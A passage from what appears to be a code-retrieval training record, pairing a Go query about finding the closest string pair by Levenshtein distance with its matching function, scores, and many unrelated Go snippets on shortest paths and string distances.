distances[node] + neighbor.second.(int)\n\t\t\tif newDistance < distances[neighbor.first.(*Node)] {\n\t\t\t\tdistances[neighbor.first.(*Node)] = newDistance\n\t\t\t\tprevious[neighbor.first.(*Node)] = node\n\t\t\t}\n\t\t}\n\t}\n\n\t// Create a slice describing the shortest path.\n\tpath := make([]*Node, 0)\n\tnode := destination\n\tfor node != nil {\n\t\tpath = append(path, node)\n\t\tnode = previous[node]\n\t}\n\n\treturn path, distances[destination]\n}", "func BenchmarkSearchShort(b *testing.B) { benchmarkSearch(b, testData[0]) }", "func OnePair(handMap map[string]int) (string, []string) {\n\n\tvar numPairs int\n\tvar rank string\n\tvar cardsOut []string\n\n\tweightMap := make(map[int]string)\n\tvar weightArr []int\n\n\tfor k, val := range handMap {\n\t\tif val == 2 {\n\t\t\tnumPairs++\n\t\t\tcardsOut = append([]string{k, k}, cardsOut...)\n\t\t} else {\n\t\t\tweightMap[CardVals[k]] = k\n\t\t\tweightArr = append(weightArr, CardVals[k])\n\t\t}\n\t}\n\n\tsort.Sort(sort.Reverse(sort.IntSlice(weightArr)))\n\tfor _, i := range weightArr {\n\t\tcardsOut = append(cardsOut, weightMap[i])\n\t}\n\n\tif numPairs == 1 {\n\t\trank = \"one-pair\"\n\t}\n\treturn rank, cardsOut\n}", "func shortestSubstringContainingRunes(s, chars string) string {\n\tif len(s) == 0 || len(chars) == 0 {\n\t\treturn \"\"\n\t}\n\n\t// Create a histogram of runes and initialize it with s.\n\ta := []rune(s)\n\th := newRuneHistogram([]rune(chars), a)\n\tif !h.isValid() {\n\t\treturn \"\" // there is no solution\n\t}\n\n\t// Find the index of the last rune in the string which we cannot remove from\n\t// the histogram without making it invalid.\n\tlast := len(a) - 1\n\tfor ; last >= 0; last-- {\n\t\th.removeRune(a[last])\n\t\tif !h.isValid() {\n\t\t\th.addRune(a[last]) // put back to restore validity\n\t\t\tbreak\n\t\t}\n\t}\n\n\t// For each index in the string starting at 0, remove the corresponding rune\n\t// from the histogram, then add runes beyond LAST as long as the histogram\n\t// is invalid. If the new span is shorter than the old one, remember it.\n\tbest := Range{0, last}\n\tfor i, r := range a {\n\t\th.removeRune(r)\n\t\tfor !h.isValid() && last < len(a)-1 {\n\t\t\tlast++\n\t\t\th.addRune(a[last])\n\t\t}\n\t\tif !h.isValid() {\n\t\t\tbreak\n\t\t}\n\t\tspan := Range{first: i + 1, last: last} // N.B. we removed a[i]\n\t\tif span.length() < best.length() {\n\t\t\tbest = span\n\t\t}\n\t}\n\n\t// Extract and return the substring corresponding to the best span, or an\n\t// empty string if the spam is empty.\n\treturn s[best.first : best.last+1]\n}", "func nearestSwatch(swatches []colorful.Color, c color.Color) (color.Color, int) {\n\tc0 := toColorful(c)\n\tminDist := math.MaxFloat64\n\tvar best colorful.Color\n\tbestIndex := -1\n\tfor i, s := range swatches {\n\t\tif d := c0.DistanceCIE94(s); d < minDist {\n\t\t\tminDist, best, bestIndex = d, s, i\n\t\t}\n\t}\n\treturn fromColorful(best), bestIndex\n}", "func Distance(a, b string) (int, error) {\n\tcounter := 0\n\tar, br := []rune(a), []rune(b)\n\tif len(ar) != len(br) {\n\t\treturn 0, errors.New(\"The length of the strands are different\")\n\t}\n\tfor i := range ar {\n\t\tif ar[i] != br[i] {\n\t\t\tcounter++\n\t\t}\n\t}\n\treturn counter, nil\n}", "func part1(numbers []int, target int) (error, int, int) {\n\tfor _, num1 := range numbers {\n\t\tfor _, num2 := range numbers {\n\t\t\tif num1+num2 == target {\n\t\t\t\treturn nil, num1, num2\n\t\t\t}\n\t\t}\n\t}\n\n\treturn errors.New(\"Could not find pair\"), -1, -1\n}", "func getCommonPrefix(p []string, f []int, lmin int) string {\n r := []rune(p[f[0]])\n newR := make([]rune, lmin)\n for j := 0; j < lmin; j++ {\n newR[j] = r[j]\n }\n return string(newR)\n}", "func BestMatch(pattern string, searchList []string) int {\n\tpattern = strings.ToLower(pattern)\n\n\tindex := -1\n\n\tfor i, searchItem := range searchList {\n\t\tsearchItem = strings.ToLower(searchItem)\n\n\t\tif searchItem == pattern {\n\t\t\treturn i\n\t\t}\n\n\t\tif strings.HasPrefix(searchItem, pattern) {\n\t\t\tif index != -1 {\n\t\t\t\treturn -2\n\t\t\t}\n\n\t\t\tindex = i\n\t\t}\n\t}\n\n\treturn index\n}", "func findInputPair(code string, target int) string {\n\tbaseMemSlice := strToIntSlice(code, Sep)\n\tfor l := 0; l < 100; l++ {\n\t\tfor r := 0; r < 100; r++ {\n\t\t\tmemToUse := append([]int(nil), baseMemSlice...)\n\t\t\tmemToUse[1], memToUse[2] = l, r\n\t\t\trunProgram(memToUse)\n\t\t\tif memToUse[0] == target {\n\t\t\t\treturn fmt.Sprintf(\"noun: %d\\nverb: %d\", memToUse[1], memToUse[2])\n\t\t\t}\n\t\t}\n\t}\n\tpanic(\"There is no combination that matches the target!\")\n}", "func Distance(a, b string) (int, error) {\n if len(a) != len(b) {\n \treturn 0, errors.New(\"both strings do not have the same length\")\n }\n\n\tdistance := 0\n\n for i := 0; i < len(a); i++ {\n \tif a[i:i + 1] != b[i:i + 1] {\n \t\tdistance += 1\n \t}\n }\n\n return distance, nil\n}", "func Distance(a, b string) (int, error) {\n\tif len(a) != len(b) {\n\t\treturn 0, ErrUnequalLenths\n\t}\n\tif a == \"\" && b == \"\" {\n\t\treturn 0, nil\n\n\t}\n\n\tif len(a) == len(b) {\n\t\tvar differentWord int\n\t\tfor i := 0; i < len(a); i++ {\n\t\t\tif a[i] != b[i] {\n\t\t\t\tdifferentWord++\n\t\t\t}\n\t\t}\n\t\treturn differentWord, nil\n\t}\n\treturn 0, nil\n}" ]
[ "0.6589796", "0.6186044", "0.5969753", "0.59327066", "0.59197664", "0.5818002", "0.57666117", "0.5751003", "0.56999165", "0.56628215", "0.5661835", "0.5657013", "0.5622758", "0.5581071", "0.558078", "0.55756426", "0.55746293", "0.5388762", "0.5381723", "0.5351934", "0.5351701", "0.5334004", "0.5202609", "0.51786876", "0.5172319", "0.5158319", "0.51564354", "0.51513755", "0.5119795", "0.5109772", "0.5071666", "0.49796522", "0.49316695", "0.49240032", "0.489153", "0.4858081", "0.4856297", "0.4851908", "0.48367545", "0.48340687", "0.4815319", "0.48005602", "0.4779738", "0.47490084", "0.47466367", "0.47396582", "0.4737405", "0.47222757", "0.46889263", "0.46854493", "0.4678249", "0.46742114", "0.4670258", "0.46495724", "0.46296427", "0.46168122", "0.4594741", "0.45941558", "0.45940113", "0.4583535", "0.457977", "0.45673448", "0.45602268", "0.45533752", "0.45517325", "0.45470747", "0.4540172", "0.45351246", "0.45294967", "0.45206285", "0.4502263", "0.4501278", "0.4496376", "0.44942826", "0.4471884", "0.44700778", "0.44614133", "0.44569144", "0.44389412", "0.4436062", "0.44155174", "0.44044942", "0.43938217", "0.43934128", "0.43892822", "0.438597", "0.43821764", "0.43798095", "0.4377785", "0.43660608", "0.436368", "0.43586507", "0.43570194", "0.43546268", "0.4342756", "0.43423027", "0.43407816", "0.4337671", "0.43355587", "0.4332448" ]
0.7820581
0
FindShortestFromFile will find the shortest pair of strings using the Levenshtein Distance to calculate them.
func FindShortestFromFile(file string) pairDist { scanner := MustScanFile(file) blocks := ToArray(scanner) return FindShortestPair(blocks) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func FindShortestPair(blocks []string) pairDist {\n\tshortestPair := pairDist{\n\t\tfirst: 0,\n\t\tsecond: 1,\n\t\tdistance: LevenshteinDistance(blocks[0], blocks[1]),\n\t\tcommon: CommonChars(blocks[0], blocks[1]),\n\t}\n\tfor i := 0; i < len(blocks)-2; i++ {\n\t\tfor j := i + 1; j < len(blocks)-1; j++ {\n\t\t\tdist := LevenshteinDistance(blocks[i], blocks[j])\n\t\t\tif dist < shortestPair.distance {\n\t\t\t\tshortestPair.first = i\n\t\t\t\tshortestPair.second = j\n\t\t\t\tshortestPair.distance = dist\n\t\t\t\tshortestPair.common = CommonChars(blocks[i], blocks[j])\n\t\t\t}\n\t\t}\n\t}\n\treturn shortestPair\n}", "func Levenshtein(target, input string) int { // nolint: funlen\n\t// Example\n\t// ref: https://www.datacamp.com/community/tutorials/fuzzy-string-python\n\t// ref optimized version in go: https://github.com/sajari/fuzzy/blob/master/fuzzy.go#L236\n\tlenTarget := len(target)\n\tlenInput := len(input)\n\tnumCols := lenTarget + 1\n\n\tdistance := make([]int, (lenTarget+1)*(lenInput+1))\n\n\t// log.Println(target, input)\n\n\tfor row := 0; row <= lenInput; row++ {\n\t\tfor col := 0; col <= lenTarget; col++ {\n\t\t\tif row == 0 {\n\t\t\t\tdistance[row*numCols+col] = col\n\t\t\t}\n\n\t\t\tif col == 0 {\n\t\t\t\tdistance[row*numCols+col] = row\n\t\t\t}\n\n\t\t\tif row > 0 && col > 0 {\n\t\t\t\tcost := 0\n\n\t\t\t\tif target[col-1] != input[row-1] {\n\t\t\t\t\tcost++\n\t\t\t\t}\n\n\t\t\t\t// Costs\n\t\t\t\t// - x is the current posizion\n\t\t\t\t//\n\t\t\t\t// +-------------------+----------------+\n\t\t\t\t// | substitution cost | insetion cost |\n\t\t\t\t// +-------------------+----------------+\n\t\t\t\t// | delete cost | x |\n\t\t\t\t// +-------------------+----------------+\n\t\t\t\tdelCost := distance[(row-1)*numCols+col] + 1 // Cost of deletions\n\t\t\t\tinsCost := distance[row*numCols+(col-1)] + 1 // Cost of insertions\n\t\t\t\tsubCost := distance[(row-1)*numCols+(col-1)] + cost // Cost of substitutions\n\n\t\t\t\tmin := delCost\n\n\t\t\t\tif insCost < min {\n\t\t\t\t\tmin = insCost\n\t\t\t\t}\n\n\t\t\t\tif subCost < min {\n\t\t\t\t\tmin = subCost\n\t\t\t\t}\n\n\t\t\t\tdistance[row*numCols+col] = min\n\t\t\t}\n\t\t}\n\t}\n\n\t// log.Printf(\"%+v\", distance)\n\n\t// for row := 0; row <= lenInput; row++ {\n\t// \tfor col := 0; col <= lenTarget; col++ {\n\t// \t\tfmt.Printf(\"%d \", distance[row*numCols+col])\n\t// \t}\n\t// \tfmt.Println()\n\t// }\n\n\treturn distance[len(distance)-1]\n}", "func GetClosestMatchingString(options []string, searchstring string) string {\n\t// tokenize all strings\n\treg := regexp.MustCompile(\"[^a-zA-Z0-9]+\")\n\tsearchstring = reg.ReplaceAllString(searchstring, \"\")\n\tsearchstring = strings.ToLower(searchstring)\n\n\tleastDistance := math.MaxInt32\n\tmatchString := \"\"\n\n\t// Simply find the option with least distance\n\tfor _, option := range options {\n\t\t// do tokensize the search space string too\n\t\ttokenizedOption := reg.ReplaceAllString(option, \"\")\n\t\ttokenizedOption = strings.ToLower(tokenizedOption)\n\n\t\tcurrDistance := smetrics.WagnerFischer(tokenizedOption, searchstring, 1, 1, 2)\n\n\t\tif currDistance < leastDistance {\n\t\t\tmatchString = option\n\t\t\tleastDistance = currDistance\n\t\t}\n\t}\n\n\treturn matchString\n}", "func LevenshteinDistance(s1, s2 string) int {\r\n\t//length of the string s1, s2\r\n\ts1Len, s2Len := utf8.RuneCountInString(s1), utf8.RuneCountInString(s2)\r\n\r\n\t//if the two strings equals\r\n\tif s1 == s2 {\r\n\t\treturn 0\r\n\t}\r\n\t//if a string is length 0\r\n\tif s1Len == 0 {\r\n\t\treturn s2Len\r\n\t}\r\n\tif s2Len == 0 {\r\n\t\treturn s1Len\r\n\t}\r\n\r\n\tv0 := make([]int, s2Len+1)\r\n\tv1 := make([]int, s2Len+1)\r\n\r\n\tfor i := 0; i < len(v0); i++ {\r\n\t\tv0[i] = i\r\n\t}\r\n\r\n\tfor i := 0; i < s1Len; i++ {\r\n\r\n\t\tv1[0] = i + 1\r\n\r\n\t\tfor j := 0; j < s2Len; j++ {\r\n\t\t\tcost := 1\r\n\t\t\tif s1[i] == s2[j] {\r\n\t\t\t\tcost = 0\r\n\t\t\t}\r\n\t\t\tv1[j+1] = minimum(v1[j]+1, v0[j+1]+1, v0[j]+cost)\r\n\t\t}\r\n\r\n\t\tfor j := 0; j < len(v0); j++ {\r\n\t\t\tv0[j] = v1[j]\r\n\t\t}\r\n\r\n\t}\r\n\treturn v1[s2Len]\r\n}", "func minDistance(word1 string, word2 string) int {\n return 0\n}", "func LevenshteinDistance(first, second string) int {\n\ts1len := len(first)\n\ts2len := len(second)\n\n\tcolumn := make([]int, len(first)+1)\n\tfor y := 1; y <= s1len; y++ {\n\t\tcolumn[y] = y\n\t}\n\tfor x := 1; x <= s2len; x++ {\n\t\tcolumn[0] = x\n\t\tlastkey := x - 1\n\t\tfor y := 1; y <= s1len; y++ {\n\t\t\toldkey := column[y]\n\t\t\tvar incr int\n\t\t\tif first[y-1] != second[x-1] {\n\t\t\t\tincr = 1\n\t\t\t}\n\n\t\t\tcolumn[y] = minimum(column[y]+1, column[y-1]+1, lastkey+incr)\n\t\t\tlastkey = oldkey\n\t\t}\n\t}\n\treturn column[s1len]\n}", "func FindShortestPath(directions []string) int {\n\tbyDirection := orderByDirection(directions)\n\treturn findShortestPathFromMap(byDirection)\n}", "func levenshtein(a string, b string) int {\n\n\t// Handle empty string cases\n\tif len(a) == 0 {\n\t\treturn len(b)\n\t}\n\tif len(b) == 0 {\n\t\treturn len(a)\n\t}\n\n\t// DP matrix\n\tmat := make([][]int, len(a))\n\tfor i := range mat {\n\t\tmat[i] = make([]int, len(b))\n\t}\n\n\t// Initialize base cases\n\tfor i := 0; i < len(a); i++ {\n\t\tmat[i][0] = i\n\t}\n\tfor i := 0; i < len(b); i++ {\n\t\tmat[0][i] = i\n\t}\n\n\t// Fill out optimal edit distance matrix\n\tfor i := 1; i < len(a); i++ {\n\t\tfor j := 1; j < len(b); j++ {\n\t\t\tcost := 0\n\t\t\tif a[i] != b[j] {\n\t\t\t\tcost = 1\n\t\t\t}\n\n\t\t\t// Compute cheapest way of getting to this index\n\t\t\tabove := mat[i-1][j] + 1\n\t\t\tleft := mat[i][j-1] + 1\n\t\t\tdiag := mat[i-1][j-1] + cost\n\n\t\t\t// Sort and take idx 0 to get minimum\n\t\t\tarr := []int{above, left, diag}\n\t\t\tsort.Ints(arr)\n\t\t\tmin := arr[0]\n\t\t\tmat[i][j] = min\n\t\t}\n\t}\n\treturn mat[len(a)-1][len(b)-1]\n}", "func CalcLevenshteinDist(firstWord string, secondWord string, display bool) int {\n\ta := []rune(\" \" + firstWord)\n\tb := []rune(\" \" + secondWord)\n\ttable := tableSetUp(len(a), len(b))\n\tfor r := 1; r < len(a); r++ {\n\t\tfor c := 1; c < len(b); c++ {\n\t\t\t//find local minimum\n\t\t\tupperLeft := (*table)[r-1][c-1]\n\t\t\tabove := (*table)[r-1][c]\n\t\t\tleft := (*table)[r][c-1]\n\t\t\tmin := customMin(upperLeft, above, left)\n\n\t\t\tif a[r] == b[c] {\n\t\t\t\t(*table)[r][c] = min\n\t\t\t} else {\n\t\t\t\t(*table)[r][c] = min + 1\n\t\t\t}\n\t\t}\n\t}\n\tif display {\n\t\tdisplayDynamicTable(table, a, b)\n\t}\n\n\treturn (*table)[len(a) - 1][len(b) - 1]\n}", "func shortestWay(s string, t string) int {\r\n i, j, ans := 0, 0, 0\r\n for j < len(t) && ans <= j {\r\n if i < len(s) {\r\n if s[i] == t[j] {\r\n i++\r\n j++\r\n } else {\r\n i++\r\n }\r\n } else {\r\n i = 0\r\n ans++\r\n }\r\n }\r\n ans++\r\n if ans >= j {\r\n return -1\r\n } \r\n return ans\r\n}", "func (d *DStarLite) findShortestPath() {\n\t/*\n\t procedure ComputeShortestPath()\n\t {10”} while (U.TopKey() < CalculateKey(s_start) OR rhs(s_start) > g(s_start))\n\t {11”} u = U.Top();\n\t {12”} k_old = U.TopKey();\n\t {13”} k_new = CalculateKey(u);\n\t {14”} if(k_old < k_new)\n\t {15”} U.Update(u, k_new);\n\t {16”} else if (g(u) > rhs(u))\n\t {17”} g(u) = rhs(u);\n\t {18”} U.Remove(u);\n\t {19”} for all s ∈ Pred(u)\n\t {20”} if (s != s_goal) rhs(s) = min(rhs(s), c(s, u) + g(u));\n\t {21”} UpdateVertex(s);\n\t {22”} else\n\t {23”} g_old = g(u);\n\t {24”} g(u) = ∞;\n\t {25”} for all s ∈ Pred(u) ∪ {u}\n\t {26”} if (rhs(s) = c(s, u) + g_old)\n\t {27”} if (s != s_goal) rhs(s) = min s'∈Succ(s)(c(s, s') + g(s'));\n\t {28”} UpdateVertex(s);\n\t*/\n\tfor d.queue.Len() != 0 { // We use d.queue.Len since d.queue does not return an infinite key when empty.\n\t\tu := d.queue.top()\n\t\tif !u.key.less(d.keyFor(d.s)) && d.s.rhs <= d.s.g {\n\t\t\tbreak\n\t\t}\n\t\tuid := u.ID()\n\t\tswitch kNew := d.keyFor(u); {\n\t\tcase u.key.less(kNew):\n\t\t\td.queue.update(u, kNew)\n\t\tcase u.g > u.rhs:\n\t\t\tu.g = u.rhs\n\t\t\td.queue.remove(u)\n\t\t\tfrom := d.model.To(uid)\n\t\t\tfor from.Next() {\n\t\t\t\ts := from.Node().(*dStarLiteNode)\n\t\t\t\tsid := s.ID()\n\t\t\t\tif sid != d.t.ID() {\n\t\t\t\t\ts.rhs = math.Min(s.rhs, edgeWeight(d.model.Weight, sid, uid)+u.g)\n\t\t\t\t}\n\t\t\t\td.update(s)\n\t\t\t}\n\t\tdefault:\n\t\t\tgOld := u.g\n\t\t\tu.g = math.Inf(1)\n\t\t\tfor _, _s := range append(graph.NodesOf(d.model.To(uid)), u) {\n\t\t\t\ts := _s.(*dStarLiteNode)\n\t\t\t\tsid := s.ID()\n\t\t\t\tif s.rhs == edgeWeight(d.model.Weight, sid, uid)+gOld {\n\t\t\t\t\tif s.ID() != d.t.ID() {\n\t\t\t\t\t\ts.rhs = math.Inf(1)\n\t\t\t\t\t\tto := d.model.From(sid)\n\t\t\t\t\t\tfor to.Next() {\n\t\t\t\t\t\t\tt := to.Node()\n\t\t\t\t\t\t\ttid := t.ID()\n\t\t\t\t\t\t\ts.rhs = math.Min(s.rhs, edgeWeight(d.model.Weight, sid, tid)+t.(*dStarLiteNode).g)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\td.update(s)\n\t\t\t}\n\t\t}\n\t}\n}", "func (m *MarkovChain) longPaths(source string, n int) []string {\n\t// set up min weights\n\tdistances := make(map[string]float64)\n\tdistances[source] = 0\n\n\t// store removed nodes so we can fetch the closest values and check if something has been removed\n\tremoved_nodes := make(map[string]bool)\n\tclosest_files := make([]string, 0)\n\tnRemoved := 0\n\n\t// store current guesses\n\tqueue := heap.MakeMinHeapFloat64()\n\n\t// relax all edges from source\n\tsrc_node, ok := m.nodes[source]\n\tif !ok {\n\t\tlog.Fatalf(\"THIS SHOULD NEVER HAPPEN [source node not found] %v -> %v\", source, m.nodes)\n\t}\n\n\t// initialize with all of the adjacencies of the source node\n\tfor _, neighbor := range src_node.adjacencies {\n\t\t// weights are the negated log of the edge ratio -> min path weight becomes max product (max probability)\n\t\tweight := -math.Log((float64(neighbor.count) / float64(src_node.count)))\n\t\tdistances[neighbor.name] = weight\n\t\tqueue.Insert(neighbor.name, weight)\n\t}\n\n\t// now run Dijkstra's\n\tfor queue.Size > 0 && nRemoved < n {\n\t\tname := queue.ExtractMin()\n\t\tnode := m.nodes[name]\n\t\testimate := distances[name]\n\t\t// this file is close in probability, so remove it from valid candidates\n\t\tremoved_nodes[name] = true\n\t\tclosest_files = append(closest_files, name)\n\n\t\t// iterate through all neighbors of this file\n\t\tfor _, transition := range node.adjacencies {\n\t\t\t// check if neighbor file has been seen before\n\t\t\tif _, ok := distances[transition.name]; !ok {\n\t\t\t\t// not seen before, set probability estimate and insert into heap\n\t\t\t\tdistances[transition.name] = math.Inf(1)\n\t\t\t\tqueue.Insert(transition.name, math.Inf(1))\n\t\t\t}\n\n\t\t\tif _, ok := removed_nodes[name]; (!ok && transition.name != source) {\n\t\t\t\t// this neighbor has not been removed already and is not the source node\n\t\t\t\t// then try to relax weight estimate\n\t\t\t\tweight := -math.Log((float64(transition.count) / float64(node.count)))\n\t\t\t\tif (weight + estimate) < distances[transition.name] {\n\t\t\t\t\t// then relax this edge\n\t\t\t\t\tdistances[transition.name] = (weight + estimate)\n\t\t\t\t\t// this will insert if not already found\n\t\t\t\t\tqueue.ChangeKey(transition.name, (weight + estimate))\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn closest_files\n}", "func FuzzyFind(source string, targets []string, maxDistance int) (found string) {\n\tfor _, target := range targets {\n\t\tsrc := fix(source)\n\t\ttrg := fix(target)\n\t\tif strings.HasPrefix(src, trg) || strings.HasPrefix(trg, src) {\n\t\t\treturn target\n\t\t}\n\t\tdistance := fuzzy.LevenshteinDistance(src, trg)\n\t\tif distance <= maxDistance {\n\t\t\tmaxDistance = distance\n\t\t\tfound = target\n\t\t}\n\t}\n\n\tif found == \"\" {\n\t\tfor _, target := range targets {\n\t\t\tsrc := strings.Split(fix(source), \" \")\n\t\t\ttrg := strings.Split(fix(target), \" \")\n\n\t\t\tif len(src) > 2 && len(trg) > 2 {\n\t\t\t\tif src[0] == trg[0] && src[1] == trg[1] {\n\t\t\t\t\treturn target\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn\n}", "func (c *Calculator) ShortestPathTo(dstID string) ([]string, int, error) {\n\tvertMap := c.g.Vertices()\n\tv, exists := vertMap[dstID]\n\tif !exists {\n\t\treturn nil, 0, xerrors.Errorf(\"unknown vertex with ID %q\", dstID)\n\t}\n\n\tvar (\n\t\tminDist = v.Value().(*pathState).minDist\n\t\tpath []string\n\t)\n\n\tfor ; v.ID() != c.srcID; v = vertMap[v.Value().(*pathState).prevInPath] {\n\t\tpath = append(path, v.ID())\n\t}\n\tpath = append(path, c.srcID)\n\n\t// Reverse in place to get path from src->dst\n\tfor i, j := 0, len(path)-1; i < j; i, j = i+1, j-1 {\n\t\tpath[i], path[j] = path[j], path[i]\n\t}\n\treturn path, minDist, nil\n}", "func (kd KeyDist) FindNearest(input string, list []string) (string, float64) {\n\tbestScore := math.Inf(1)\n\tvar result string\n\n\tfor _, ref := range list {\n\t\tscore := kd.CalculateDistance(input, ref)\n\t\tif score < bestScore {\n\t\t\tbestScore = score\n\t\t\tresult = ref\n\t\t}\n\t}\n\n\treturn result, bestScore\n}", "func FindShortestPath(tree *Node) int {\n\tstart := findNodeByName(tree, \"YOU\")\n\tpaths := [][]string{}\n\twalkTree(start, []string{}, &paths)\n\n\t// removes all walked paths that do not end at SAN\n\tfilterPaths := func(paths [][]string) [][]string {\n\t\tresult := [][]string{}\n\t\tfor _, values := range paths {\n\t\t\tif values[len(values)-1] == \"SAN\" {\n\t\t\t\tresult = append(result, values)\n\t\t\t}\n\t\t}\n\t\treturn result\n\t}\n\n\tgetShortestPath := func(paths [][]string) int {\n\t\tshortest := -1\n\t\tfor _, values := range paths {\n\t\t\tif shortest == -1 || len(values) < shortest {\n\t\t\t\tshortest = len(values)\n\t\t\t}\n\t\t}\n\t\treturn shortest\n\t}\n\n\treturn getShortestPath(filterPaths(paths)) - 4 + 1\n}", "func findShort(s string) int {\n\tarrayStr := strings.Split(s, \" \")\n\tvar arrayLen []int\n\tfor _, str := range arrayStr {\n\t\tarrayLen = append(arrayLen, len(str))\n\t}\n\tmin := arrayLen[0]\n\tfor _, value := range arrayLen {\n\t\tif value < min {\n\t\t\tmin = value\n\t\t}\n\t}\n\treturn min\n}", "func (c *Calculator) CalculateShortestPaths(ctx context.Context, srcID string) error {\n\tc.srcID = srcID\n\texec := c.executorFactory(c.g, bspgraph.ExecutorCallbacks{\n\t\tPostStepKeepRunning: func(_ context.Context, _ *bspgraph.Graph, activeInStep int) (bool, error) {\n\t\t\treturn activeInStep != 0, nil\n\t\t},\n\t})\n\treturn exec.RunToCompletion(ctx)\n}", "func minDistance(word1 string, word2 string) int {\n\tdp := make([][]int, len(word2)+1)\n\tfor i := range dp {\n\t\tdp[i] = make([]int, len(word1)+1)\n\t\tdp[i][0] = i\n\t}\n\tfor i := 0; i < len(word1)+1; i++ {\n\t\tdp[0][i] = i\n\t}\n\tfor i := 1; i < len(word2)+1; i++ {\n\t\tfor j := 1; j < len(word1)+1; j++ {\n\t\t\tif word2[i-1] == word1[j-1] {\n\t\t\t\tdp[i][j] = dp[i-1][j-1]\n\t\t\t} else {\n\t\t\t\tdp[i][j] = min(dp[i-1][j-1], min(dp[i-1][j], dp[i][j-1])) + 1\n\t\t\t\tif dp[i][j-1] < dp[i-1][j] {\n\t\t\t\t\tdp[i][j] = dp[i][j-1] + 1\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn dp[len(word2)][len(word1)]\n}", "func shortestPath(youPath, sanPath []string) int {\n\tfor i := range youPath {\n\t\tfor j := range sanPath {\n\t\t\tif youPath[i] == sanPath[j] {\n\t\t\t\treturn i + j - 2 // don't count the two starting paths\n\t\t\t}\n\t\t}\n\t}\n\treturn -1\n}", "func getShortestPath(sourceX, sourceY, targetX, targetY int, cave [][]Square) (int, int, int) {\n\tdistances := make([][]int, len(cave))\n\tfor y := range distances {\n\t\tdistances[y] = make([]int, len(cave[y]))\n\t\tfor x := range distances[y] {\n\t\t\tdistances[y][x] = math.MaxInt64\n\t\t}\n\t}\n\n\tvisited := make([][]bool, len(cave))\n\tfor y := range visited {\n\t\tvisited[y] = make([]bool, len(cave[y]))\n\t}\n\n\t// Start with the target, and compute the distances back to the source.\n\ttentative := make([]int, 1)\n\ttentative[0] = targetX<<16 + targetY\n\tdistances[targetY][targetX] = 0\n\n\tfmt.Printf(\"Looking for distances from (%d,%d) to (%d,%d)\\n\", sourceX, sourceY, targetX, targetY)\n\n\tfor len(tentative) > 0 {\n\t\t// Find the tentative cell with the shortest distance\n\t\tcur := 0\n\t\tminDistance := math.MaxInt64\n\t\tfor i, pos := range tentative {\n\t\t\tx, y := (pos >> 16), pos&0xffff\n\t\t\tif distances[y][x] < minDistance {\n\t\t\t\tminDistance = distances[y][x]\n\t\t\t\tcur = i\n\t\t\t}\n\t\t}\n\n\t\t// Remove that cell from the tentative list\n\t\tcurX, curY := tentative[cur]>>16, tentative[cur]&0xffff\n\t\ttentative = append(tentative[:cur], tentative[cur+1:]...)\n\t\tvisited[curY][curX] = true\n\n\t\t//fmt.Printf(\"Visited (%d,%d), distance is %d (queue is %d long)\\n\", curX, curY, distances[curY][curX], len(tentative))\n\n\t\t// Consider the neighbors.\n\t\tfor _, move := range directions {\n\t\t\tnewX := curX + move[0]\n\t\t\tnewY := curY + move[1]\n\n\t\t\t// Skip if we're past the edge of the cave\n\t\t\tif newX < 0 || newY < 0 || newX >= len(cave[0]) || newY >= len(cave) {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t// Skip if it's not empty.\n\t\t\tif cave[newY][newX] != Empty {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t// If we haven't visited that cell, set a tentative distance\n\t\t\tif !visited[newY][newX] {\n\t\t\t\tvisited[newY][newX] = true\n\t\t\t\ttentative = append(tentative, newX<<16+newY)\n\t\t\t\tdistances[newY][newX] = distances[curY][curX] + 1\n\t\t\t\t//fmt.Printf(\"- First visit to (%d,%d), set distance to %d\\n\", newX, newY, distances[newY][newX])\n\t\t\t} else {\n\t\t\t\tif distances[newY][newX] > distances[curY][curX] {\n\t\t\t\t\tdistances[newY][newX] = distances[curY][curX] + 1\n\t\t\t\t\t//fmt.Printf(\"- Revisit to (%d,%d), set distance to %d\\n\", newX, newY, distances[newY][newX])\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t//fmt.Printf(\"-> Distances from (%d,%d) to (%d,%d):\\n\", sourceX, sourceY, targetX, targetY)\n\t//dumpDistances(sourceX, sourceY, targetX, targetY, distances)\n\n\t// We've got the distance, now pick a direction.\n\tbestDistance := math.MaxInt64\n\tbestDX, bestDY := 0, 0\n\tfor _, move := range directions {\n\t\tnewX := sourceX + move[0]\n\t\tnewY := sourceY + move[1]\n\n\t\t// Skip if we're past the edge of the cave\n\t\tif newX < 0 || newY < 0 || newX >= len(cave[0]) || newY >= len(cave) {\n\t\t\tcontinue\n\t\t}\n\n\t\t// Skip if it's not empty.\n\t\tif cave[newY][newX] != Empty {\n\t\t\tcontinue\n\t\t}\n\n\t\tif distances[newY][newX] != math.MaxInt64 && distances[newY][newX]+1 < bestDistance {\n\t\t\tbestDistance = distances[newY][newX] + 1\n\t\t\tbestDX, bestDY = move[0], move[1]\n\t\t}\n\t}\n\n\tif bestDistance != math.MaxInt64 {\n\t\tbestDistance++\n\t}\n\n\tfmt.Printf(\"-> Shortest path from (%d, %d) to (%d, %d) is %d long going (%d,%d)\\n\", sourceX, sourceY, targetX, targetY, bestDistance, bestDX, bestDY)\n\treturn bestDX, bestDY, bestDistance\n}", "func (s *text) bestMatch(costs []float64, i int) (match, error) {\n\tcandidates := costs[max(0, i-maxLenWord):i]\n\tk := 0\n\tvar matchs []match\n\tfor j := len(candidates) - 1; j >= 0; j-- {\n\t\tcost := getWordCost(strings.ToLower(s.s[i-k-1:i])) + float64(candidates[j])\n\t\tmatchs = append(matchs, match{cost: cost, idx: k + 1})\n\t\tk++\n\t}\n\treturn minCost(matchs)\n}", "func MinDistance(word string, comparingWords []string) (min int) {\n\tmin = len(word)\n\tfor _, compareWord := range comparingWords {\n\t\tdistance := levenshtein.ComputeDistance(word, compareWord)\n\t\tif min > distance {\n\t\t\tmin = distance\n\t\t}\n\t}\n\treturn\n}", "func BestIntersection(strPath1, strPath2 string) int {\n\tinput1 := strings.Split(strPath1, \",\")\n\tinput2 := strings.Split(strPath2, \",\")\n\tpath1 := parsePath(input1)\n\tpath2 := parsePath(input2)\n\tvar shortestDistance 